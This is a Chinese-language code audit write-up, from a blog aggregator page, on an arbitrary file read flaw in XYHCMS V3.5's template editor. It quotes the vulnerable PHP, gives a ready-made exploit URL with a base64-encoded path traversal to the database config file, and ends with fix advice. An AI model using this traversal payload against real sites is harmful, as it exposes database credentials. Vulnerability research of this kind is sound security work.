0x00 环境准备

XYHCMS官网:http://www.xyhcms.com/

网站源码版本:XYHCMS V3.5(2017-12-04 更新)

程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/App/Manage/Controller/TempletsController.class.php  第59-83行:

  1. public function edit() {
  2. $ftype     = I('ftype', 0, 'intval');
  3. $fname     = I('fname', '', 'trim,htmlspecialchars');
  4. $file_path = !$ftype ? './Public/Home/' . C('CFG_THEMESTYLE') . '/' : './Public/Mobile/' . C('CFG_MOBILE_THEMESTYLE') . '/';
  5. if (IS_POST) {
  6. if (empty($fname)) {
  7. $this->error('未指定文件名');
  8. }
  9. $_ext     = '.' . pathinfo($fname, PATHINFO_EXTENSION);
  10. 10.         $_cfg_ext = C('TMPL_TEMPLATE_SUFFIX');
  11. 11.         if ($_ext != $_cfg_ext) {
  12. 12.             $this->error('文件后缀必须为"' . $_cfg_ext . '"');
  13. 13.         }
  14. 14.
  15. 15.         $content  = I('content', '', '');
  16. 16.         $fname    = ltrim($fname, './');
  17. 17.         $truefile = $file_path . $fname;
  18. 18.         if (false !== file_put_contents($truefile, $content)) {
  19. 19.             $this->success('保存成功', U('index', array('ftype' => $ftype)));
  20. 20.         } else {
  21. 21.             $this->error('保存文件失败,请重试');
  22. 22.         }
  23. 23.
  24. 24.         exit();
  25. 25.     }
  26. 26.

这段函数中对提交的参数进行处理,然后判断是否POST数据上来,如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。我们继续往下看:

  1. $fname = base64_decode($fname);
  2. if (empty($fname)) {
  3. $this->error('未指定要编辑的文件');
  4. }
  5. $truefile = $file_path . $fname;
  6. if (!file_exists($truefile)) {
  7. $this->error('文件不存在');
  8. }
  9. 10.     $content = file_get_contents($truefile);
  10. 11.     if ($content === false) {
  11. 12.         $this->error('读取文件失败');
  12. 13.     }
  13. 14.     $content = htmlspecialchars($content);
  14. 15.
  15. 16.     $this->assign('ftype', $ftype);
  16. 17.     $this->assign('fname', $fname);
  17. 18.     $this->assign('content', $content);
  18. 19.     $this->assign('type', '修改模板');
  19. 20.     $this->display();

我们可以通过GET传入fname,跳过前面的保存文件过程,进入文件读取状态。

注意看红色部分代码,问题就出在这里。对fname进行base64解码,判断fname参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。我们可以通过GET方式提交fname参数,并且将fname进行base64编码,构造成完整的路径,读取配置文件信息。

0x02 漏洞利用

1、登录网站后台,数据库配置文件路径:\\App\\Common\\Conf\\db.php

我们将这段组成相对路径,..\\..\\..\\App\\Common\\Conf\\db.php,然后进行base64编码,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==

最后构造的链接形式如下:

http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==

通过url访问,成功获取到数据库敏感信息:

0x03 修复建议

1、取消base64解码,过滤.(点)等可能的恶意字符

2、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】XYHCMS V3.5任意文件读取漏洞分析的更多相关文章

  1. 【代码审计】XYHCMS V3.5任意文件删除漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  2. 【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  3. 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  4. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

  5. 【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  6. 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析

      0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...

  7. 【代码审计】XIAOCMS_存在任意文件删除漏洞分析

      0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...

  8. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  9. PHPMailer命令执行及任意文件读取漏洞

    今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个 ...

随机推荐

  1. WCF、WebAPI、WCFREST和Web服务的差异 ASP.NETMVC和ASP.NETWebAPI的差异

    WCF.WebAPI.WCFREST和Web服务的差异: Web服务 它是基于SOAP和XML的形式返回数据. 它仅支持HTTP协议. 它是开放源,但是不消耗任何客户端可以同时理解XML. 它可以仅在 ...

  2. Oracle ORA-12541:TNS:无监听程序

    背景:自己机子做oracle服务器,其他机子可以ping得通我的机子,但是jdbc就是连不上,后来用plsql连出现无监听程序.... 我昨天重新安装Oracle后,用PL/SQL Developer ...

  3. UnityEditor研究学习之EditorWindow

    在unity使用过程中,其实我们都是在各个不同功能的Window下工作. 比如在Scene窗口中操作物体,在Inspector中操作物体属性,在Game视窗中观察游戏状态. 所以窗口是Unity的灵魂 ...

  4. WHY数学表达式的3D可视化

    WHY数学表达式的3D可视化 很早之前我就有这种想法,将数学表达式的图形显示出来.最近终于实现了这套较为完善的版本,将其代码公布,也为开源做点贡献.首先系统中定义一套脚本语言格式,用于描述数学表达式. ...

  5. SQL Server 2012安装step by step

    安装光盘介质问题,报错,换盘 Overall summary:  Final result:                  Passed  Exit code (Decimal):         ...

  6. REP开发技巧

    这个基本包含了所有的特殊情况 wrap 换行 title显示在每页的固定位置, 第一页需要特殊处理 <DATA> <PDF_TITLE Font="5" Size ...

  7. Python实现邮件的批量发送

    Python实现邮件的批量发送 1 发送文本信息 '''加密发送文本邮件''' def sendEmail(from_addr,password,to_addr,smtp_server): try: ...

  8. Open-Source performance testing tools(From other site)

    http://www.appdynamics.com/blog/php/tools-of-the-trade-for-performance-and-load-testing/

  9. Newtonsoft.Json2.0下面序列化和反序列化

    序列化 string xml = JavaScriptConvert.SerializeObject(dataTable); 反序列化 JavaScriptConvert.DeserializeObj ...

  10. Spring Boot系列——Spring Boot如何启动

    Spring Boot启动过程 ​上篇<Spring Boot系列--5分钟构建一个应用>介绍了如何快速创建一个Spring Boot项目并运行.虽然步骤少流程简单,为开发者省去了很多重复 ...